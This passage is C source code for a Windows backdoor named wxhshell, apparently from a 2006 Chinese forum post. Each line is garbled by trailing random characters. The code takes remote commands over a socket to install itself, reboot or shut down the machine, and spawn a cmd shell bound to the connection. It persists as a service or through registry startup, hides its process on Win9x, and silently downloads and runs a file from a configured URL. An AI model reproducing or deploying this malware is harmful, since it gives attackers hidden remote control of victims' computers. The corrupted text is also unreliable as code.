  } cf>lY  
  else { hmLI9TUe6  
,3}+t6O"  
    switch(cmd[0]) { a9^})By&  
   Jn|<G  
  // 帮助 ^9hc`.5N&?  
  case '?': { v_%6Ly  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ("}Hs[  
    break; ^fd*KM  
  } u&o4? ]6  
  // 安装 G.XxlI}  
  case 'i': { a(O@E%|u  
    if(Install()) s8]%L4lvu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H@zv-{}T8  
    else (ESFR0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U)-aecB!  
    break; avG#0AY  
    } \,p?pL<'  
  // 卸载 fM]nP4K`  
  case 'r': { G='`*_$  
    if(Uninstall()) .^F&6'h1H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e'G3\h}#  
    else I;_T_m4.q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \j)c?1*$  
    break; RYC%;h  
    } Ym ]g0a  
  // 显示 wxhshell 所在路径 &e).l<B  
  case 'p': { buzpmRoN)  
    char svExeFile[MAX_PATH]; W"#<r  
    strcpy(svExeFile,"\n\r"); RB""(<  
      strcat(svExeFile,ExeFile); <T.R%Jys  
        send(wsh,svExeFile,strlen(svExeFile),0); <)O#Y76s  
    break; 6-?/kY6  
    } n@bkZ/G  
  // 重启 +J|LfXgB  
  case 'b': { SV ~QH&0'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5M)B  
    if(Boot(REBOOT)) {*CG&-k2D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @g#| srYD  
    else { "tk1W>liIN  
    closesocket(wsh); U$a)lcJd  
    ExitThread(0); ';v2ld 9  
    } cJwe4c6.m  
    break; I hSXU<]  
    } dE[X6$H[  
  // 关机 &l{ctP%q  
  case 'd': { leizjL\P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y<`:I|y  
    if(Boot(SHUTDOWN)) V5h_uGOD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e>!]_B1ad  
    else { 5gx;Bp^_  
    closesocket(wsh); *)\y52z  
    ExitThread(0); g0/ R\  
    } x3 Fn'+  
    break; GP ^^ K  
    } Eqny'44  
  // 获取shell %(? ;`  
  case 's': { vft7-|8T  
    CmdShell(wsh); {ByKTx &  
    closesocket(wsh); #|:q"l9  
    ExitThread(0); #X!seQ7a  
    break; ],R\oMYy|P  
  } -2U|G  
  // 退出 1T~`$zS7  
  case 'x': {  d*([!!i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Td^62D;  
    CloseIt(wsh); 1,Pg^Xu  
    break; "GqasbX  
    } TK> ~)hc}  
  // 离开 l!j=em@  
  case 'q': { 7X$pgNRx/a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DBvozTsF~  
    closesocket(wsh); E){ODyk  
    WSACleanup(); (]fbCH:  
    exit(1); 8rU| Oh  
    break; z'>b)wY](  
        } 9K&YHg:1  
  } HPO:aGU   
  } tg/!=g  
5?j#  
  // 提示信息 Y3)*MqZlF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a{By U%  
} -=1>t3~\  
  } 9Z 6  
(8W ?ym  
  return; pF~aR]Q  
} @2$Uk!  
efbJ2C  
// shell模块句柄 Je'%EJ  
int CmdShell(SOCKET sock) +y-3tcI)  
{ E`wq`g`H<  
STARTUPINFO si; li')U  
ZeroMemory(&si,sizeof(si)); {t'SA]|g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \4OU+$m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h2+"e# _  
PROCESS_INFORMATION ProcessInfo; H}usL)0&&  
char cmdline[]="cmd"; ,MLAW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +rrA>~  
  return 0; {FN4BC`3+  
} [NGq$5  
4*q6#=G  
// 自身启动模式 VjiwW%UOM  
int StartFromService(void) d.U"lP/)D  
{ iN L>TVUM  
typedef struct  ? EhIK  
{ ="g9>  
  DWORD ExitStatus; %wJ>V-\e  
  DWORD PebBaseAddress; N_0B[!B]  
  DWORD AffinityMask; shY8h   
  DWORD BasePriority; 1)-VlQK p  
  ULONG UniqueProcessId; sk t9mU  
  ULONG InheritedFromUniqueProcessId; e&<=+\ul  
}   PROCESS_BASIC_INFORMATION; h)r=+Q\'(S  
QT"o"B  
PROCNTQSIP NtQueryInformationProcess; .36]>8  
 `7V'A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^NxKA'oWQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [/J(E\9  
6*tky;  
  HANDLE             hProcess; 7u%OYt D E  
  PROCESS_BASIC_INFORMATION pbi; /)Weg1b  
_#<7s`i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (gutDUO;  
  if(NULL == hInst ) return 0; (. $e@k=  
yW}x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `my\59T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HIlTt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1HRcEzA  
EhOB+Mc1  
  if (!NtQueryInformationProcess) return 0; }%,LV]rGEZ  
TPi{c_ ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j'SGZnsy*  
  if(!hProcess) return 0; 4"+v:t)z6{  
( d8rfet  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ` P*PCiZos  
NQd0$q  
  CloseHandle(hProcess); GRgpy  
17ynFHMd,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~y:?w(GD  
if(hProcess==NULL) return 0; 1=jwJv.^/  
#]wBXzu?  
HMODULE hMod; '"V]>)  
char procName[255]; e= ",58  
unsigned long cbNeeded; 1L _(n  
^%33&<mB}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6.3qux9  
#4& <d.aw'  
  CloseHandle(hProcess); AT"!Ys|  
jXyK[q&O&  
if(strstr(procName,"services")) return 1; // 以服务启动 @l~MY *hp  
A^7}:[s20  
  return 0; // 注册表启动 :rN5HOg^9  
} Ec!R3+  
*,XT;h$'>  
// 主模块 ].N%A07  
int StartWxhshell(LPSTR lpCmdLine) [ldx_+xa:E  
{ 69``j{Z+  
  SOCKET wsl; Gwfi  
BOOL val=TRUE; 'R n\CMTH  
  int port=0; DV~g  
  struct sockaddr_in door; idZ]d6  
%wmbFj}  
  if(wscfg.ws_autoins) Install(); fj y2\J!  
\'P79=AU  
port=atoi(lpCmdLine); hh^_Z| 5  
l`EKL2n  
if(port<=0) port=wscfg.ws_port; n!?u/[@  
cq 1)b\|  
  WSADATA data; xcXnd"YYE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9P-I)ZqL  
,@@FAL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :h<QM$P<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (0 S;eM&  
  door.sin_family = AF_INET; l]geQl:7`r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^A t,x  
  door.sin_port = htons(port); &jF[f4:7  
(=QiXX1r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G -RE  
closesocket(wsl); o:RO(oA0?  
return 1; ]Cc8[ZC  
} od]1:8OF  
Y ^}c+)t  
  if(listen(wsl,2) == INVALID_SOCKET) { A}0u-W  
closesocket(wsl); NS^+n4  
return 1; PWN$x`h g[  
} 7V;wCm#b  
  Wxhshell(wsl); )9V8&,  
  WSACleanup(); C,dRdEB>  
@t,Y< )U  
return 0; ZTi KU)  
'<hg c  
} fzjZiBK@  
C +S>;1  
// 以NT服务方式启动 T|h'"3'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ku]<$uo  
{ 95BRZ!ts  
DWORD   status = 0; xayd_RB9  
  DWORD   specificError = 0xfffffff; s!j vBy  
TM`6:5ONv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p!p:LSk"/b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "v5jYz5M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %9`\ 7h7K  
  serviceStatus.dwWin32ExitCode     = 0; "5$2b>_UE  
  serviceStatus.dwServiceSpecificExitCode = 0; Y-:dPc{  
  serviceStatus.dwCheckPoint       = 0; v\Xyz )  
  serviceStatus.dwWaitHint       = 0; @" BkLF  
OC_i,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +Uf+`  
  if (hServiceStatusHandle==0) return; ]*pro|  
&l(PWU  
status = GetLastError(); bxF'`^En  
  if (status!=NO_ERROR) 6^hCW`jG  
{ ](sT,'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \={A%pA;@{  
    serviceStatus.dwCheckPoint       = 0; U jB5Xks  
    serviceStatus.dwWaitHint       = 0; ZD`0(CkXb  
    serviceStatus.dwWin32ExitCode     = status; 0^zp*u  
    serviceStatus.dwServiceSpecificExitCode = specificError; G}gmkp]z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H!uq5` j0K  
    return; kZHIzU  
  } Nmu=p~f}3`  
,~qjL|9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )W$@phY(I  
  serviceStatus.dwCheckPoint       = 0; g7<u eF  
  serviceStatus.dwWaitHint       = 0; #(Ezt% ^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {&s.*5  
} ?M@ff0  
DeR C_ [  
// 处理NT服务事件,比如:启动、停止 -!pg1w06  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3`DwKv `+  
{ x_BnWFP  
switch(fdwControl) * odwg$  
{ kU[#. y=%p  
case SERVICE_CONTROL_STOP: ? EXYLG  
  serviceStatus.dwWin32ExitCode = 0; QB#rf='  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  e6hfgVN  
  serviceStatus.dwCheckPoint   = 0; jij-pDQnv  
  serviceStatus.dwWaitHint     = 0; C(lGW,!  
  { XXZ<r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xC.Tipn>  
  } "*0h=x$  
  return; zT"W(3  
case SERVICE_CONTROL_PAUSE: "gGv>]3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eU m,=s  
  break; WxI_wRKx  
case SERVICE_CONTROL_CONTINUE: ]R8JBnA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rQ287y{  
  break; cXG$zwS\  
case SERVICE_CONTROL_INTERROGATE: jp P'{mc  
  break; Wd/m]]W8Q  
}; r@]iy78 j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W>(p4m  
} 3eJ"7sftW  
kESnlmy@J  
// 标准应用程序主函数 2vx1M6a)L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ! )PV-[2  
{ AWn$od`#s  
I\:(`)"r  
// 获取操作系统版本 +JRPd.B"@  
OsIsNt=GetOsVer(); -mAi7[omh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eJ tfQ@?  
6=i@t tAK  
  // 从命令行安装 hTK6N  
  if(strpbrk(lpCmdLine,"iI")) Install(); M|uWSG  
8S*W+l19f  
  // 下载执行文件 %:hU:+G E  
if(wscfg.ws_downexe) { v\b@;H`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w@"l0gm+u[  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0z:BSdno  
} mnS F=l;;  
sDzlNMr?P+  
if(!OsIsNt) { m(?ZNtBQt  
// 如果时win9x,隐藏进程并且设置为注册表启动 {|ChwM\x  
HideProc(); OVgx2_F  
StartWxhshell(lpCmdLine); $@ Fvl-lK  
} }E]&,[4&M  
else j9]H~:g$d  
  if(StartFromService()) P{_Xg,Z  
  // 以服务方式启动 |>L|7>J{<d  
  StartServiceCtrlDispatcher(DispatchTable); QvjOOc@k~n  
else y( uE  
  // 普通方式启动 ej&ZE n  
  StartWxhshell(lpCmdLine); Ec;{N  
ZVX!=3VT  
return 0; 5zR9N>!c  
}
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只看该作者 1 发表于: 2006-10-10
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